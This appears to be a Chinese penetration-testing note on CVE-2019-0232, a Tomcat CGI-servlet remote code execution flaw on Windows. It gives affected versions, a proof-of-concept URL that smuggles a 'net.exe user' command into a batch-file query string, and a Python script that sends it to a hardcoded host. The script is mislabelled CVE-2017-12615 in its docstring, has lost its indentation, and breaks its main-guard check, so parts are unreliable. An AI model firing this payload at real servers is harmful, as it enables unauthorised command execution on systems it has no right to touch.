:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
CVE-2019-0232
📚测试环境
windows 搭建 环境。
📚漏洞原理
JRE 将命令行传递给 windows 的方式存在错误,导致 cgi-servlet 远程代码执行。
📚影响版本
-
Tomcat 7.0.0 – 7.0.93
-
Tomcat 8.5.0 – 8.5.39
-
Tomcat 9.0.0.m1 – 9.0.17
📚前提条件
-
windows 系统
-
cgi-servlet 开启
📚POC
/cgi-bin/hello.bat?&c%3a%5cwindows%5csystem32%5cnet.exe+user
漏洞利用
V1.0
''' CVE-2017-12615
📚漏洞原理
JRE 将命令行传递给 windows 的方式存在错误,导致 cgi-servlet 远程代码执行。
📚影响版本
● Tomcat 7.0.0 – 7.0.93
● Tomcat 8.5.0 – 8.5.39
● Tomcat 9.0.0.m1 – 9.0.17
📚前提条件
● windows 系统
● cgi-servlet 开启
📚POC
/cgi-bin/hello.bat?&c%3a%5cwindows%5csystem32%5cnet.exe+user
'''
from urllib.parse import urljoin
import requests
import time
import datetime
from fake_useragent import UserAgent
from rich import print as rprint
ua = UserAgent()
def get_time():
return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
def cve_2019_0232(url):
payload = (r'/cgi-bin/hello.bat?&c%3a%5cwindows%5csystem32%5cnet.exe+user')
payload_url = urljoin(url, payload)
headers = {
'User-Agent': ua.random
}
response = requests.get(payload_url, headers)
if response.status_code == 200:
rprint("[[bold green]" + get_time() + "[/bold green]] [[bold green]Success[/bold green]] > [bold yellow]" + "发现 cve_2019_0232 漏洞" + "[/bold yellow]")
else:
rprint("[[bold red]" + get_time() + "[/bold green]] [[bold red]Error[/bold red]] > [bold yellow]" + "不存在漏洞" + "[/bold yellow]")
if name == 'main':
url = 'http://192.168.225.135:8080/'
cve_2019_0232(url)